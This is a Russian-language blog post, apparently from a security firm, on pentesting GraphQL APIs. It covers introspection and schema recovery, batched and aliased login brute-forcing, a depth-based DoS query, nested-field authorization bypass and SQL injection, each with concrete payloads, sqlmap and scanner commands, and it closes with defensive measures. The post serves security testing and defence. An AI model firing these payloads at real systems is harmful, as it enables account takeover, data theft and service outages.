Обсудить проект

GraphQL: интроспекция включена, безопасность — нет

20.07.2026

«GraphQL продали как «более безопасную альтернативу REST». Реальность: это тот же REST, только теперь с бесплатной картой всего API прямо на входе.» 💀

Introspection — фича, которая позволяет клиенту запросить у сервера полную схему: все типы, поля, аргументы, мутации. Отлично для разработки, автокомплита в IDE. Ужасно, если включена в проде без ограничений — потому что ты просто отдаёшь атакующему blueprint своего бэкенда за один запрос.

🗺️ Introspection: бесплатная карта сокровищ

Один запрос — и ты знаешь всё: какие типы данных существуют, какие мутации доступны, какие аргументы принимают резолверы.

# Классический introspection query — работает почти всегда
query IntrospectionQuery {
  __schema {
    types {
      name
      fields {
        name
        args { name type { name } }
        type { name }
      }
    }
    queryType { name }
    mutationType { name }
  }
}
# Быстрая проверка через curl
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query": "{__schema{types{name}}}"}' | jq

# Если получил список типов — introspection включена 🎯

🔥 Лайфхак: используй GraphQL Voyager или InQL (Burp extension) — вставляешь introspection-ответ, получаешь визуальную карту всей схемы с мутациями типа deleteUser, resetAllPasswords, grantAdminAccess. Разработчики не думают, что имена мутаций сами себя выдают.

Что искать в схеме первым делом:

→ Мутации с именами: admin*, delete*, reset*, grant*, impersonate*
→ Типы с полями: password, token, secret, apiKey, internalNotes
→ Deprecated поля — часто ещё работают, но не задокументированы снаружи
→ Аргументы фильтрации в queries — потенциальные точки для SQLi/BOLA

🕵️ Introspection выключена? Это не конец

Продвинутые команды отключают introspection в проде, думая что этого достаточно. Спойлер — недостаточно.

Field Suggestion — утечка через ошибки:

# Отправляем запрос с несуществующим полем с опечаткой
query {
  usr {
    id
  }
}
// Многие GraphQL-серверы "помогают" в ответе
{"errors": [{"message": "Cannot query field \"usr\". Did you mean \"user\"?"}]}

💡 Field suggestion атака — методично перебирай слова, читай подсказки в ошибках, восстанавливай схему по кусочкам без единого introspection query. Медленнее, но работает даже когда introspection формально закрыта.

# Автоматизация восстановления схемы через brute-force полей
# clairvoyance — восстанавливает GraphQL схему без introspection
pip install clairvoyance
clairvoyance https://target.com/graphql -o recovered_schema.json

💣 Batching Attack: обход rate-limit пачками

Это фича, которая ломает всю модель rate-limiting на корню. GraphQL позволяет упаковать десятки/сотни операций в один HTTP-запрос. IP-based или request-based rate limiter видит один запрос — а на бэкенде выполняются тысячи операций.

# Обычный логин запрос
mutation { login(username: "admin", password: "test123") { token } }
# Батчинг — 1000 попыток пароля в ОДНОМ HTTP-запросе
[
  { "query": "mutation { login(username: \"admin\", password: \"pass1\") { token } }" },
  { "query": "mutation { login(username: \"admin\", password: \"pass2\") { token } }" },
  { "query": "mutation { login(username: \"admin\", password: \"pass3\") { token } }" }
  // ... x1000
]

Или через алиасы в одном запросе — тот же эффект, другой синтаксис:

mutation {
  a1: login(username: "admin", password: "password") { token }
  a2: login(username: "admin", password: "123456") { token }
  a3: login(username: "admin", password: "qwerty") { token }
  # ... x1000 алиасов
}
# Быстрый тест на batching support
curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '[{"query":"{__typename}"},{"query":"{__typename}"}]'

# Если получил массив с двумя ответами — batching включён 🎯

Пошаговый чеклист теста батчинга:

1. Отправь простой query в квадратных скобках [] → проверь array-response
2. Тестируй лимит алиасов: 10 → 100 → 1000 одинаковых операций
3. Следи за временем отклика — линейный рост = синхронная обработка = уязвимо

🧠 Практическая ценность: brute-force логина, OTP-кодов, купонов — всё, что имеет rate-limit на уровне HTTP-запроса, ломается батчингом на уровне GraphQL-операций внутри одного запроса.

🌊 Query Depth Attack: DoS через бесконечную вложенность

GraphQL позволяет запрашивать связанные объекты рекурсивно. Без лимита глубины запроса — можно построить экспоненциально дорогой запрос.

# Классическая DoS-атака через глубину
query EvilQuery {
  user(id: 1) {
    friends {
      friends {
        friends {
          friends {
            friends {
              friends {
                friends { name }
              }
            }
          }
        }
      }
    }
  }
}
# Автогенерация злонамеренно глубокого запроса
python3 -c "
depth = 15
query = 'user(id:1){friends{' * depth + 'name' + '}' * depth
print(f'{{{query}}}')
" > deep_query.graphql

💥 Circular query bomb: если типы ссылаются друг на друга циклически (User → Posts → Author → Posts → …), можно построить запрос, который заставит резолвер работать экспоненциально дольше линейного роста глубины.

🔓 Authorization: резолверы решают сами, и решают плохо

Отдельная боль GraphQL — авторизация часто раскидана по резолверам вместо единого middleware. Один резолвер проверяет права, другой — забывает.

# Query проверяет права правильно
query { user(id: 5) { name email } }  # 403 если не твой аккаунт ✅

# А вложенное поле в другом типе — забыли проверить
query {
  post(id: 42) {
    title
    author {
      email        # Внутренний резолвер не проверяет права на email!
      privateNotes # Утечка через связанный объект
    }
  }
}

🔥 Это то же самое BOLA, только через relationship traversal. Прямой запрос объекта защищён, а доступ через связанное поле — не проверяется.

💉 Injection через GraphQL: SQLi и NoSQLi живы

GraphQL — это просто транспортный слой, он не защищает резолверы от инъекций, если бэкенд строит SQL-запросы конкатенацией.

query {
  searchUsers(filter: "admin' UNION SELECT username,password FROM users--") {
    id
  }
}
# Автоматизация через InQL + sqlmap
# 1. InQL строит все возможные query из introspection
# 2. Экспортируй каждый query как отдельный HTTP request
# 3. Прогони через sqlmap с --data
sqlmap -u "https://target.com/graphql" \
  --data='{"query":"{ searchUsers(filter: \"*\") { id } }"}' \
  --level=5 --risk=3

📋 Чеклист пентестера GraphQL

□ Проверь introspection: {__schema{types{name}}}
□ Если закрыта — попробуй field suggestion через опечатки
□ Восстанови схему без introspection через clairvoyance
□ Протестируй batching: массив запросов и алиасы
□ Найди мутации с "опасными" именами (delete*, admin*, reset*)
□ Протестируй query depth — построй глубоко вложенный запрос
□ Проверь authorization на relationship traversal (nested fields)
□ Тестируй filter/search аргументы на SQLi/NoSQLi
□ Проверь rate-limit на bypass через batching для login/OTP
# InQL — генерация всех query из introspection автоматически
pip install inql
inql -t https://target.com/graphql -o output_dir/

# GraphQL Cop — автоматизированный security scanner
python3 graphql-cop.py -t https://target.com/graphql

🏆 Как защититься (для тех, кто патчит, а не ломает)

  • Отключи introspection в проде — оставь только для dev/internal окружений с authentication
  • Persisted queries + allowlist — клиент шлёт только hash заранее одобренного запроса, произвольный текст блокируется на edge
  • Depth limiting + complexity scoring — назначь «стоимость» каждому полю, установи потолок на запрос
  • Лимит batch size — максимум 5-10 операций на запрос, остальное = подозрительно
  • Rate limiting внутри резолвера, а не на уровне HTTP — тогда батчинг не поможет обойти лимит
  • Единый authorization layer в бизнес-логике, не в отдельных резолверах

Итог: GraphQL — это не «более безопасный REST», это REST с встроенной документацией для атакующего и новым набором векторов (batching, depth, relationship traversal), о которых команда часто не думает вообще. Introspection включена = твой API прозрачен как стекло. Introspection выключена = просто добавь один шаг восстановления схемы. 😈